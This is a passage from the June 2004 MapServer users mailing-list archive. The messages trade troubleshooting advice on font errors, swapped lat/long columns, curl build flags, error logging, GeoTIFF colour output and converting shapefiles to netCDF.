_______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From JWiley at city.parksville.bc.ca Wed Jun 2 08:50:04 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Wed, 02 Jun 2004 08:50:04 -0700 Subject: [Mapserver-users] Problem of configuration ? Message-ID: Hi Wilfried, You need to copy all the true type fonts to a directory that the map file can access... Mine is at the same level access as the data... You can choose to not use true type and specify the size as small, large etc... John >>> wilfried Heintz 06/02/04 02:01am >>> Hello, I'm using the MapServer 4.0 tutorial and I've got a problem in section 1 example 1.4 (example 1.1, 1.2 and 1.3 work well) The error message is msGetLabelSize(): TrueType Font error. Could not find/open font I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server (easyphp). Thanks for your help. wilfried _______________________________________________________ Wilfried Heintz Inventaire Forestier National - Cellule Evaluation de la Ressource Place des Arcades - Maurin BP 1001 34972 Lattes cedex Tel. +33 (0) 4 67 07 80 98 Fax. +33 (0) 4 67 07 80 91 > http://projet.sinpa.free.fr/ _______________________________________________________ From jenu_ab at hotmail.com Wed Jun 2 08:48:49 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 02 Jun 2004 10:48:49 -0500 Subject: [Mapserver-users] Virtual Spatial Data - projection Message-ID: still no points showing up on the map.... this is how my table looks now table: latlong x | y ------------------------------- 41.5 | -87.5 ------------------------------ 35.5 | -97.4 --------------------------------- ------------------------------------------------------------------------------------------------------------ >From: "Pagurek, Debbie" >To: "Jenu Abraham" , > >Subject: RE: [Mapserver-users] Virtual Spatial Data - projection >Date: Wed, 2 Jun 2004 10:06:54 -0400 > > >You have the negative in the wrong place. >e.g. Chicago should be 41.5 -87.2 > >Debbie > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jenu >Abraham >Sent: Tuesday, June 01, 2004 4:12 PM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] Virtual Spatial Data - projection > >guys... >i have been trying to plot points on a US map using latlong cordinates >from >my SQL table using virtual spatial data >ogrinfo gave the correct output..with testing2.ovf > >eg: -35.5 97.4 oklahomaq city > -41.5 87.2 chicago >i can see the states layer but >i dont see any points on my map..from the truck layer >why? is something wrong in the projection > >------------------------ >MAP > NAME e-test-rd-jbox-vsd_ > IMAGETYPE GIF > EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 > SIZE 800 600 > SHAPEPATH "C:\cgi-bin\data\" > FONTSET "C:\cgi-bin\fonts\fonts.list" > WEB > TEMPLATE 'e-test-rd-jbox.html' > IMAGEPATH 'C:\cgi-bin\tmp\' > IMAGEURL '/tmp/' > END > > PROJECTION > "init=epsg:2163" > END > > > LAYER # States polygon layer begins here > NAME states > DATA statesp020 > STATUS DEFAULT > TYPE POLYGON > PROJECTION > "init=epsg:4326" > END > CLASS > COLOR 240 240 100 > END > END # States polygon layer ends here > > >LAYER # start of truck position from database > > NAME trucks > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "testing2.ovf" > DATA "mylayer" > STATUS DEFAULT > > PROJECTION > "proj=latlong" > END > CLASS > SYMBOL 1 > SIZE 6 > COLOR 255 0 0 > END >END # end of connection layer ># End of LAYER DEFINITIONS >END # end of map file > _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar ? get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From sgillies at frii.com Wed Jun 2 08:52:55 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 2 Jun 2004 09:52:55 -0600 Subject: [Mapserver-users] problems with curl In-Reply-To: <40BDF44B.4050200@basis5.de> References: <40BDF44B.4050200@basis5.de> Message-ID: On Jun 2, 2004, at 9:37 AM, Lars M?ller wrote: > hi, > > I have a problem with make. > I start with this configure: > > ../configure --with-proj=/usr/local/ > --with-gdal=/usr/local/bin/gdal-config > --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data > --with-wmsclient --with-wfsclient --with-ttf=/usr > Forget not to specify for curl --with-curl-config=PATH where PATH is like /usr/local/bin/curl-config cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From David.Fawcett at state.mn.us Wed Jun 2 09:01:00 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Wed, 02 Jun 2004 11:01:00 -0500 Subject: [Mapserver-users] Virtual Spatial Data - projection Message-ID: I believe that you have your X and Y values switched. Shouldn't Chicago be 41.5 deg Latitude, which would be your Y value for that record? David J. Fawcett MN Office of Environmental Assistance >>> "Jenu Abraham" 6/2/2004 10:48:49 AM >>> still no points showing up on the map.... this is how my table looks now table: latlong x | y ------------------------------- 41.5 | -87.5 ------------------------------ 35.5 | -97.4 --------------------------------- ------------------------------------------------------------------------------------------------------------ >From: "Pagurek, Debbie" >To: "Jenu Abraham" , > >Subject: RE: [Mapserver-users] Virtual Spatial Data - projection >Date: Wed, 2 Jun 2004 10:06:54 -0400 > > >You have the negative in the wrong place. >e.g. Chicago should be 41.5 -87.2 > >Debbie > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jenu >Abraham >Sent: Tuesday, June 01, 2004 4:12 PM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] Virtual Spatial Data - projection > >guys... >i have been trying to plot points on a US map using latlong cordinates >from >my SQL table using virtual spatial data >ogrinfo gave the correct output..with testing2.ovf > >eg: -35.5 97.4 oklahomaq city > -41.5 87.2 chicago >i can see the states layer but >i dont see any points on my map..from the truck layer >why? is something wrong in the projection > >------------------------ >MAP > NAME e-test-rd-jbox-vsd_ > IMAGETYPE GIF > EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 > SIZE 800 600 > SHAPEPATH "C:\cgi-bin\data\" > FONTSET "C:\cgi-bin\fonts\fonts.list" > WEB > TEMPLATE 'e-test-rd-jbox.html' > IMAGEPATH 'C:\cgi-bin\tmp\' > IMAGEURL '/tmp/' > END > > PROJECTION > "init=epsg:2163" > END > > > LAYER # States polygon layer begins here > NAME states > DATA statesp020 > STATUS DEFAULT > TYPE POLYGON > PROJECTION > "init=epsg:4326" > END > CLASS > COLOR 240 240 100 > END > END # States polygon layer ends here > > >LAYER # start of truck position from database > > NAME trucks > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "testing2.ovf" > DATA "mylayer" > STATUS DEFAULT > > PROJECTION > "proj=latlong" > END > CLASS > SYMBOL 1 > SIZE 6 > COLOR 255 0 0 > END >END # end of connection layer ># End of LAYER DEFINITIONS >END # end of map file > _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar * get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From woodbri at swoodbridge.com Wed Jun 2 09:01:30 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 02 Jun 2004 12:01:30 -0400 Subject: [Mapserver-users] Virtual Spatial Data - projection In-Reply-To: References: Message-ID: <40BDF9DA.20108@swoodbridge.com> lat = Y lon = X you might want to swap you data columns. -Steve W. Jenu Abraham wrote: > still no points showing up on the map.... > this is how my table looks now > > table: latlong > > x | y > ------------------------------- > 41.5 | -87.5 > ------------------------------ > 35.5 | -97.4 > --------------------------------- > > ------------------------------------------------------------------------------------------------------------ > > >> From: "Pagurek, Debbie" >> To: "Jenu Abraham" , >> >> Subject: RE: [Mapserver-users] Virtual Spatial Data - projection >> Date: Wed, 2 Jun 2004 10:06:54 -0400 >> >> >> You have the negative in the wrong place. >> e.g. Chicago should be 41.5 -87.2 >> >> Debbie >> >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jenu >> Abraham >> Sent: Tuesday, June 01, 2004 4:12 PM >> To: mapserver-users at lists.gis.umn.edu >> Subject: [Mapserver-users] Virtual Spatial Data - projection >> >> guys... >> i have been trying to plot points on a US map using latlong cordinates >> from >> my SQL table using virtual spatial data >> ogrinfo gave the correct output..with testing2.ovf >> >> eg: -35.5 97.4 oklahomaq city >> -41.5 87.2 chicago >> i can see the states layer but >> i dont see any points on my map..from the truck layer >> why? is something wrong in the projection >> >> ------------------------ >> MAP >> NAME e-test-rd-jbox-vsd_ >> IMAGETYPE GIF >> EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 >> SIZE 800 600 >> SHAPEPATH "C:\cgi-bin\data\" >> FONTSET "C:\cgi-bin\fonts\fonts.list" >> WEB >> TEMPLATE 'e-test-rd-jbox.html' >> IMAGEPATH 'C:\cgi-bin\tmp\' >> IMAGEURL '/tmp/' >> END >> >> PROJECTION >> "init=epsg:2163" >> END >> >> >> LAYER # States polygon layer begins here >> NAME states >> DATA statesp020 >> STATUS DEFAULT >> TYPE POLYGON >> PROJECTION >> "init=epsg:4326" >> END >> CLASS >> COLOR 240 240 100 >> END >> END # States polygon layer ends here >> >> >> LAYER # start of truck position from database >> >> NAME trucks >> TYPE POINT >> CONNECTIONTYPE OGR >> CONNECTION "testing2.ovf" >> DATA "mylayer" >> STATUS DEFAULT >> >> PROJECTION >> "proj=latlong" >> END >> CLASS >> SYMBOL 1 >> SIZE 6 >> COLOR 255 0 0 >> END >> END # end of connection layer >> # End of LAYER DEFINITIONS >> END # end of map file >> > > _________________________________________________________________ > FREE pop-up blocking with the new MSN Toolbar ? get it now! > http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mike.merrett at city.whitehorse.yk.ca Wed Jun 2 09:08:12 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Wed, 2 Jun 2004 09:08:12 -0700 Subject: [Mapserver-users] msBuildPath: Unable to access file. Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF01@DUKE.city.whitehorse.yk.ca> There are two (that I have found) ways to get a little more info out of mapserver if you are using php - try calling this function after suspected error areas: function mapserver_error() { $ms_err_msg =""; $ms_error = ms_GetErrorObj(); while($ms_error && $ms_error->code != MS_NOERR) { $ms_err_msg .= "MapServer Error in :" . $ms_error->routine . " " . $ms_error->message ."\n"; $ms_error = $ms_error->next(); } return $ms_err_msg; } The other is to set an envionment variable MS_ERRORFILE to some file name -- then look at it -- this should work in any enviromnent -- the docs say that you can (in 4.2) put a "CONFIG MS_ERRORFILE fn.log" in the MAP file but I have not been able to verify this yet. Hope this helps, Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Scot Wilcoxon Sent: June 1, 2004 11:30 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] msBuildPath: Unable to access file. I persuaded PostGIS to quit complaining, but now I get an empty image and the only thing in a log file is: msBuildPath: Unable to access file. My wild guess is that the image is trying to be built in a directory someplace. Any way to persuade more detailed error messages to be emitted? Adding "DEBUG ON" to .map objects produced nothing -- or I don't know where such debug info is supposed to appear. I'm using an EXTENT from the example1-*.map files, which includes a view of the state in which my data is. It looks like the MULTILINESTRING(()) values in the_geom has similar values to my .map EXTENT. I don't know if it is relevant that table spatial_ref_sys is empty. (Should MULTILINESTRING be "TYPE POLYGON" or "TYPE LINE"?) _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From doug at moximedia.com Wed Jun 2 09:17:08 2004 From: doug at moximedia.com (Doug Cates) Date: 02 Jun 2004 09:17:08 -0700 Subject: [Mapserver-users] Virtual Spatial Data - projection In-Reply-To: References: Message-ID: <1086193027.11875.35.camel@moxi-rh9> Your coordinates have the x and y wrong. Chicago O'Hare airport is at: lat/long 41.9795833 / -87.9044722 Which should appear in your table like: x | y ------------------------------- -87.9044722 | 41.9795833 Doug On Wed, 2004-06-02 at 08:48, Jenu Abraham wrote: > still no points showing up on the map.... > this is how my table looks now > > table: latlong > > x | y > ------------------------------- > 41.5 | -87.5 > ------------------------------ > 35.5 | -97.4 > --------------------------------- > > ------------------------------------------------------------------------------------------------------------ > >From: "Pagurek, Debbie" > >To: "Jenu Abraham" , > > > >Subject: RE: [Mapserver-users] Virtual Spatial Data - projection > >Date: Wed, 2 Jun 2004 10:06:54 -0400 > > > > > >You have the negative in the wrong place. > >e.g. Chicago should be 41.5 -87.2 > > > >Debbie > > > >-----Original Message----- > >From: mapserver-users-admin at lists.gis.umn.edu > >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jenu > >Abraham > >Sent: Tuesday, June 01, 2004 4:12 PM > >To: mapserver-users at lists.gis.umn.edu > >Subject: [Mapserver-users] Virtual Spatial Data - projection > > > >guys... > >i have been trying to plot points on a US map using latlong cordinates > >from > >my SQL table using virtual spatial data > >ogrinfo gave the correct output..with testing2.ovf > > > >eg: -35.5 97.4 oklahomaq city > > -41.5 87.2 chicago > >i can see the states layer but > >i dont see any points on my map..from the truck layer > >why? is something wrong in the projection > > > >------------------------ > >MAP > > NAME e-test-rd-jbox-vsd_ > > IMAGETYPE GIF > > EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 > > SIZE 800 600 > > SHAPEPATH "C:\cgi-bin\data\" > > FONTSET "C:\cgi-bin\fonts\fonts.list" > > WEB > > TEMPLATE 'e-test-rd-jbox.html' > > IMAGEPATH 'C:\cgi-bin\tmp\' > > IMAGEURL '/tmp/' > > END > > > > PROJECTION > > "init=epsg:2163" > > END > > > > > > LAYER # States polygon layer begins here > > NAME states > > DATA statesp020 > > STATUS DEFAULT > > TYPE POLYGON > > PROJECTION > > "init=epsg:4326" > > END > > CLASS > > COLOR 240 240 100 > > END > > END # States polygon layer ends here > > > > > >LAYER # start of truck position from database > > > > NAME trucks > > TYPE POINT > > CONNECTIONTYPE OGR > > CONNECTION "testing2.ovf" > > DATA "mylayer" > > STATUS DEFAULT > > > > PROJECTION > > "proj=latlong" > > END > > CLASS > > SYMBOL 1 > > SIZE 6 > > COLOR 255 0 0 > > END > >END # end of connection layer > ># End of LAYER DEFINITIONS > >END # end of map file > > > > _________________________________________________________________ > FREE pop-up blocking with the new MSN Toolbar get it now! > http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From devel at itdownunder.com.au Wed Jun 2 09:34:22 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Thu, 3 Jun 2004 02:34:22 +1000 Subject: [Mapserver-users] Zoom In Problem Message-ID: <001301c448bf$77e6e2f0$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C44913.4992F2F0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All Sorry for the following bad explanation but is 2:30am here! I have MapServ running on a Red Hat 7.3 I have copied the Itasca demo to a new folder and started to change it. I have some Shape Files in a data dir. I have changed the application to look at these new files. I have configured 2 layers and they both display but the image on screen is smaller then I would like even though the box is 600x600. When clicking on the image it will zoom out but it will only zoom in until the initial size. I can not zoom in any closer. Any ideas what to be looking for? Regards Andrew Rich ------=_NextPart_000_0014_01C44913.4992F2F0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

Sorry for the following bad explanation but is = 2:30am = here!

 

I have MapServ running on = a Red Hat 7.3

 

I have copied the Itasca demo to a new folder and started to change it.

 

I have some Shape Files in a data = dir.

I have changed the application to look at these new = files.

 

I have configured 2 layers and they both display but = the image on screen is smaller then I would like even though the box is = 600x600.

 

When clicking on the image it will zoom out but it = will only zoom in until the initial size.  I can not zoom in any closer.

 

Any ideas what to be looking = for?

 

Regards

Andrew Rich

------=_NextPart_000_0014_01C44913.4992F2F0-- From moeller at basis5.de Wed Jun 2 09:51:48 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Wed, 02 Jun 2004 18:51:48 +0200 Subject: [Mapserver-users] problems with curl In-Reply-To: References: <40BDF44B.4050200@basis5.de> Message-ID: <40BE05A4.6080701@basis5.de> hallo, thanks for your help, but with the spezified curl-config-path (which is correct) I get the same error. ./configure --with-proj=/usr/local/ --with-gdal=/usr/local/bin/gdal-config --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data --with-wmsclient --with-wfsclient --with-ttf=/usr --with-curl-config=/usr/local/bin/curl-config Sean Gillies schrieb: > On Jun 2, 2004, at 9:37 AM, Lars M?ller wrote: > >> hi, >> >> I have a problem with make. >> I start with this configure: >> >> ../configure --with-proj=/usr/local/ >> --with-gdal=/usr/local/bin/gdal-config >> --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data >> --with-wmsclient --with-wfsclient --with-ttf=/usr >> > > Forget not to specify for curl > > --with-curl-config=PATH > > where PATH is like /usr/local/bin/curl-config > > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > -- _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From jenu_ab at hotmail.com Wed Jun 2 09:59:47 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 02 Jun 2004 11:59:47 -0500 Subject: [Mapserver-users] Virtual Spatial Data - layer not visible Message-ID: hi, Thanks a lot , i had totally messed up that latlong table... but my problem still persists i now have my latlong table as.... x | y ------------------------------- -87.9044722 | 41.9795833 ------------------------------------------- -97.52 | 35.46 ------------------------------------------------ i can see the states layer but i dont see any points on my map..from the truck layer-which is the virtual spatial layer is something wrong in the projection? to tell the truth i am still stuggling with projections..... when i tested with ogrinfo, "testing2.ovf" gave the expected output.. ------------------------ mapfile ----------- MAP NAME e-test-rd-jbox-vsd_ IMAGETYPE GIF EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 SIZE 800 600 SHAPEPATH "C:\cgi-bin\data\" FONTSET "C:\cgi-bin\fonts\fonts.list" WEB TEMPLATE 'e-test-rd-jbox.html' IMAGEPATH 'C:\cgi-bin\tmp\' IMAGEURL '/tmp/' END PROJECTION "init=epsg:2163" END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 240 240 100 END END # States polygon layer ends here LAYER # start of truck position from database NAME trucks TYPE POINT CONNECTIONTYPE OGR CONNECTION "testing2.ovf" DATA "mylayer" STATUS DEFAULT PROJECTION "proj=latlong" END CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 END END # end of connection layer # End of LAYER DEFINITIONS END # end of map file -------------------------- testing2.ovf ----------------------- ODBC:user/pwd at localserver latlong wkbPoint WGS84 ---------------------------------------------- jenu _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page ? FREE download! http://toolbar.msn.click-url.com/go/onm00200413ave/direct/01/ From siki at agt.bme.hu Wed Jun 2 14:03:37 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Wed, 2 Jun 2004 20:03:37 -0100 (GMT+1) Subject: [Mapserver-users] Problem of configuration ? {Scanned} In-Reply-To: <6.0.1.1.0.20040602105114.01b60da0@smilax> Message-ID: Hi, 1. Check FONTSET in your map file, what file it is refering to 2. Check the FONT line in the label definition FONT font_alias_name 3. Look for the font_alias_name in the font list file, and check the full path given for that alias probably you have to change the path or you have not that font, replace the path to an existing font Bye Zoltan On Wed, 2 Jun 2004, wilfried Heintz wrote: > Hello, > I'm using the MapServer 4.0 tutorial and I've got a problem in section 1 > example 1.4 (example 1.1, 1.2 and 1.3 work well) > The error message is msGetLabelSize(): TrueType Font error. Could not > find/open font > I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server > (easyphp). > Thanks for your help. > > wilfried > > _______________________________________________________ > > Wilfried Heintz > Inventaire Forestier National - Cellule Evaluation de la Ressource > Place des Arcades - Maurin > BP 1001 > 34972 Lattes cedex > Tel. +33 (0) 4 67 07 80 98 > Fax. +33 (0) 4 67 07 80 91 > > http://projet.sinpa.free.fr/ > _______________________________________________________ From jenu_ab at hotmail.com Wed Jun 2 11:49:08 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 02 Jun 2004 13:49:08 -0500 Subject: [Mapserver-users] (no subject) Message-ID: Got it fixed, u need at least one symbol defination in the mapfile jenu _________________________________________________________________ MSN 9 Dial-up Internet Access fights spam and pop-ups ? now 3 months FREE! http://join.msn.click-url.com/go/onm00200361ave/direct/01/ From ikezhis at gismo.com Wed Jun 2 13:04:05 2004 From: ikezhis at gismo.com (igor) Date: Wed, 02 Jun 2004 14:04:05 -0600 Subject: [Mapserver-users] Projection support is not available error Message-ID: <40BE32B5.364AD3E@gismo.com> Hello. I get the following error while trying to access mapserver "Projection support is not available" I used the --with-proj=/usr/local/lib option to point to the proj library files. (Which I did compile and install). At first it complaned that projects.h can not be found. So I manualy coped it to this directory, after which it compiled with out any errors. My system configuration is : Suse 9.1 Apache 2.0.49 Map Server 4.0.1 Thanks for any help in advance. From vaiod at berloy.com Wed Jun 2 14:41:37 2004 From: vaiod at berloy.com (Eric Katherman) Date: Wed, 2 Jun 2004 14:41:37 -0700 Subject: [Mapserver-users] Math Message-ID: <200406021441.37876.vaiod@berloy.com> Okay... This is confusing me.. how does mapserver know where to "move" to when a user clicks the map. It is returning mapa_x and mapa_y points of say x:345 and y:233. How are the extents calculated from this? Also how does scale play into the extents? Thanks, Eric From warmerdam at pobox.com Wed Jun 2 14:47:10 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 02 Jun 2004 17:47:10 -0400 Subject: [Mapserver-users] GeoTiff output color problems In-Reply-To: <20040601233125.52582.qmail@web80110.mail.yahoo.com> References: <20040601233125.52582.qmail@web80110.mail.yahoo.com> Message-ID: <40BE4ADE.3000108@pobox.com> Matthew Perry wrote: > Hello folks, > > Testing a new intallation of mapserver here and I'm getting some wierd > results when outputting Geotiffs: > > When I use the following: > > OUTPUTFORMAT > NAME GTiff > DRIVER "GDAL/GTiff" > MIMETYPE "image/tiff" > IMAGEMODE PC256 > EXTENSION "tif" > END > > I get this image: http://ktrin.cnrs.humboldt.edu/misc/gtiff_256.tif > > This has the correct colors but poor quality, plus I would like to have > 24 bit output. So I tried the following: Matthew, I'm not sure how you generated this. It should have the same colors that you would find if you did png output. > OUTPUTFORMAT > NAME GTiff > DRIVER "GDAL/GTiff" > MIMETYPE "image/tiff" > IMAGEMODE RGB > EXTENSION "tif" > END > > which gives me this image with bizzare colors (but better resolution): > http://ktrin.cnrs.humboldt.edu/misc/gtiff_rgb.tif > > Both images are properly georeferenced, though. I have tried reversing > the order of the bands (in ArcMap 8.3) to no avail. > > Any ideas why the Geotiff 24bit color would be innacurate? It looks like a color band mixup of some sort. The blue band seems to really be alpha values. Try IMAGEMODE RGBA and see if the result is any better. I would appreciate your submitting a bugzilla report about the RGB output if you can boil it down to something easy to reproduce with MapServer 4.2. PS. please assign the bug report directly to me. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From mtperry78 at sbcglobal.net Wed Jun 2 15:20:20 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Wed, 2 Jun 2004 15:20:20 -0700 (PDT) Subject: [Mapserver-users] GeoTiff output color problems In-Reply-To: <40BE4ADE.3000108@pobox.com> Message-ID: <20040602222020.30776.qmail@web80104.mail.yahoo.com> Frank, Thanks for the reply. I get the same strange colors when using IMAGEMODE RGBA. We are using the following setup: GDAL 1.1.9.0, released 2003/06/27 MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I noticed there is no OUTPUT=TIFF ??? Is this not shown since it is handled by the GDAL libs? Other than geotiff output, the setup works fine. I do not have administrative privleges on this server so I am not at liberty to experiment with 4.2. What would you suggest for next steps... upgrade GDAL, upgrade Mapserver, or both?? Thanks for your help! - matt --- Frank Warmerdam wrote: > Matthew Perry wrote: > > Hello folks, > > > > Testing a new intallation of mapserver here and > I'm getting some wierd > > results when outputting Geotiffs: > > > > When I use the following: > > > > OUTPUTFORMAT > > NAME GTiff > > DRIVER "GDAL/GTiff" > > MIMETYPE "image/tiff" > > IMAGEMODE PC256 > > EXTENSION "tif" > > END > > > > I get this image: > http://ktrin.cnrs.humboldt.edu/misc/gtiff_256.tif > > > > This has the correct colors but poor quality, plus > I would like to have > > 24 bit output. So I tried the following: > > Matthew, > > I'm not sure how you generated this. It should have > the same colors > that you would find if you did png output. > > > OUTPUTFORMAT > > NAME GTiff > > DRIVER "GDAL/GTiff" > > MIMETYPE "image/tiff" > > IMAGEMODE RGB > > EXTENSION "tif" > > END > > > > which gives me this image with bizzare colors (but > better resolution): > > http://ktrin.cnrs.humboldt.edu/misc/gtiff_rgb.tif > > > > Both images are properly georeferenced, though. I > have tried reversing > > the order of the bands (in ArcMap 8.3) to no > avail. > > > > Any ideas why the Geotiff 24bit color would be > innacurate? > > It looks like a color band mixup of some sort. The > blue band seems to really > be alpha values. Try IMAGEMODE RGBA and see if the > result is any better. > I would appreciate your submitting a bugzilla report > about the RGB output if > you can boil it down to something easy to reproduce > with MapServer 4.2. > > PS. please assign the bug report directly to me. > > Best regards, > -- > ---------------------------------------+-------------------------------------- > I set the clouds in motion - turn up | Frank > Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | > http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial > Programmer for Rent > From murilo.yoshida at agx.com.br Wed Jun 2 15:27:37 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Wed, 2 Jun 2004 19:27:37 -0300 Subject: RES: [Mapserver-users] GMT and netCDF In-Reply-To: <40BD4D73.70808@tamu.edu> Message-ID: <000001c448f0$dc53d910$1364a8c0@parapente> I was planning to use the grid tools of GMT to interpolate a map, GMT has some tools to do it. The problem is that I don't know how to translate my shape files into a valid GMT input. You said you spent a lot of time into it... Can you help me? I need to translate shape files to netCDF files, use these files as input for GMT, get the result and translate it back to shape files. Thanks, Murilo -----Mensagem original----- De: Gerry Creager N5JXS [mailto:gerry.creager at tamu.edu] Enviada em: quarta-feira, 2 de junho de 2004 00:46 Para: murilo.yoshida at agx.com.br Cc: mapserver-users at lists.gis.umn.edu Assunto: Re: [Mapserver-users] GMT and netCDF If you think of a NetCDF file as a Fortran-formatted data file, it will start making sense. GMT is a good tool for grid data, and works well for producing some maps, but it's not designed to do what Mapserver does. They're not the same thing, they are tools for different purposes. For what it's worth, I spend a LOT of time with netCDF files, read them, put the data in postgres db's and then make shapefiles from them. Gerry Murilo Lacerda Yoshida wrote: > Hi all, > > > > Has anyone in the list used the GMT (Generic Mapping Tools)? I looked > at its documentation and it is really a mess. What I understood is that > the input for GMT is a netCDF file, or a ascii table, or a raster file. > > I use shape files. I didn't found in the documentation a way to > translate the shape file to a netCDF file, or use the shape file as > input for GMT. > > And if I understood the documentation, GMT has what I need, that is > that map interpolation issue. But things are never that easy... > > Help me please, > > Murilo > -- Gerry Creager -- gerry.creager at tamu.edu Texas Mesonet -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From ARyan at co.linn.or.us Wed Jun 2 15:45:06 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 2 Jun 2004 15:45:06 -0700 Subject: [Mapserver-users] Math Message-ID: <614FCE5F14A6D41180C200010240D6A269A0B5@LINNMS> Eric, Hope I get this right... You can send mapserv.exe a point in one of two ways. First, you could send the imgxy value - the point in terms of the image (the top left being 0 0). In conjunction with this, you'll have to send the IMGSIZE and the IMGEXT parameters of the image that the user clicked on. Using these, mapserv calculates the point in the coordinate system of the shapefiles (etc) you're using and the scale to use. Second, you could just send the calculated point and a scale directly to mapserv. You'd basically have to calculate the point on the client side. To do this you would start with the minx and miny in coordinate system terms, and add to this imgx*cellsize and imgy*cellsize respectively. Cellsize is simply mapWidth/imageWidth for simples sake. Hope this helps, Adam -----Original Message----- From: Eric Katherman [mailto:vaiod at berloy.com] Sent: Wednesday, June 02, 2004 2:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Math Okay... This is confusing me.. how does mapserver know where to "move" to when a user clicks the map. It is returning mapa_x and mapa_y points of say x:345 and y:233. How are the extents calculated from this? Also how does scale play into the extents? Thanks, Eric _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gerry.creager at tamu.edu Wed Jun 2 16:03:28 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Wed, 02 Jun 2004 18:03:28 -0500 Subject: RES: [Mapserver-users] GMT and netCDF 